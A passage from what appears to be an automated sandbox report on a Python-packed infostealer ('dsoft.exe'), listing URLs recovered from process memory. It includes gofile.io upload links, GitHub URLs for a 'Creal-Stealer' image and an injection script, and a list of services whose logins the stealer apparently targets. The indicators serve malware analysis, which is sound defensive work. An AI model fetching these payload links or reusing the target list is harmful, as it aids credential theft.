            Source: dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
            Source: dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2920Z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://gmail.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gmail.com)z
            Source: dsoft.exe, 00000001.00000003.2251226589.0000029489899000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185821263.0000022CEC970000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185629331.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185970287.0000022CEC94A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185749532.0000022CEC989000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186868206.0000022CEC970000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185715170.0000022CEC96F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185749532.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185925847.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185629331.0000022CEC989000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/Aq7c2m
            Source: dsoft.exe, 00000001.00000002.2571489962.000002948A460000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/Aq7c2m)
            Source: dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2450722331.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/DLoibN)
            Source: dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE15000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000003.2303495752.00000227F8BC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/GyGDwi
            Source: dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/GyGDwi)
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549403656.0000029488C79000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570023169.000002948985B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2571777281.000002948A6C0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547576461.0000029488C72000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149136211.0000016797652000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2148973225.0000016797639000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149281559.000001679766B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2149952328.000001679766B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149281559.0000016797652000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149136211.0000016797639000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2148973225.0000016797652000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149136211.000001679766B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2149329817.00000167975F9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2148973225.000001679766B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/IjEJhz
            Source: dsoft.exe, 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/IjEJhz)
            Source: dsoft.exe, 00000001.00000002.2571777281.000002948A670000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/IjEJhz)gg
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549403656.0000029488C79000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.00000294896BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547576461.0000029488C72000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/qEb3qj
            Source: dsoft.exe, 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/qEb3qj)
            Source: dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gofile.io/d/u43aVO)
            Source: dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546117734.0000029488C7D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551136597.00000294884B3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2553471547.00000294884BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/mail
            Source: dsoft.exe, 0000000E.00000003.2686021798.000001FA5C20B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/mail/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://hbo.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://hbo.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://hotmail.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://hotmail.com)z
            Source: dsoft.exe, 00000001.00000003.2551343085.0000029489637000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2695994782.000001FA5C34E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://html.spec.whatwg.org/multipage/
            Source: dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/
            Source: dsoft.exe, 00000001.00000002.2571047548.000002948A180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539909753.0000029488247000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686089490.000001FA5C2BC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677558955.000001FA5BACC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2685660711.000001FA5BBF2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2695751088.000001FA5BBF5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BAC6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2688317018.000001FA5C368000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BBA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/get
            Source: dsoft.exe, 00000001.00000003.2537777125.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540604780.0000029488C28000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2544679008.0000029488C37000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C1F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/post
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/badge/code%20style-black-000000.svg
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/badge/skeleton-2022-informational
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/codecov/c/github/pypa/setuptools/master.svg?logo=codecov&logoColor=white
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/discord/803025117553754132
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/pypi/pyversions/setuptools.svg
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/pypi/v/setuptools.svg
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img.shields.io/readthedocs/setuptools/latest.svg
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://instagram.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://instagram.com)z
            Source: dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.org
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D44000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538502923.0000029488D43000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548120060.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2696286326.000001FA5CD00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://mahler:8092/site-updates.py
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://minecraft.net)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://minecraft.net)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://netflix.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://netflix.com)z
            Source: dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2569987100.000002948984C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2602623874.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2450722331.000001FA5CDA3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://origin.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://origin.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://outlook.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://outlook.com)z&
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541596575.0000029488D3F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555063212.0000029488D3F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D3F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538575246.0000029488D3E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/en/latest/specifications/declaring-project-metadata/
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/installing/
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567821197.0000029488F60000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/specifications/entry-points/
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://paypal.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://paypal.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://playstation.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://playstation.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://pornhub.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pornhub.com)z
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pypi.org/project/setuptools
            Source: dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgrX
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgrXz
            Source: dsoft.exe, 00000001.00000002.2570716868.0000029489D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/injection/main/index.js
            Source: dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Ayhuuu/injection/main/index.jsc
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/pypa/setuptools/main/docs/images/banner-640x320.svg
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://refspecs.linuxfoundation.org/elf/gabi4
            Source: dsoft.exe, 0000000E.00000002.2716680852.000001FA5D714000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://requests.readthedocs.io
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://riotgames.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://riotgames.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://roblox.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://roblox.com)z
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://sellix.io)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sellix.io)z
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://setuptools.pypa.io
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://setuptools.pypa.io/
            Source: dsoft.exe, 00000001.00000003.2009329839.00000294882BD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008823743.0000029488276000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010187841.00000294882BD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541068000.00000294882BD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008544777.000002948856B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008593991.0000029488514000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488515000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539381655.00000294882BD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543164414.00000294882EF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2553222285.00000294882F7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677558955.000001FA5BACC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BAC6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2689060049.000001FA5BAEF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2704621267.000001FA5BAFB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
            Source: dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://setuptools.pypa.io/en/latest/userguide/declarative_config.html#opt-2
            Source: dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://setuptools.pypa.io/en/stable/history.html
            Source: dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://spotify.com)
            Source: dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://spotify.com)z
            Source: dsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2012706454.0000029488D30000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546818089.0000029488C86000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542377151.0000029488C7F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2012706454.0000029488CF1000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552670248.000002948855C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488AF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539453832.0000029488525000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C81000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540133201.0000029488535000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmp, 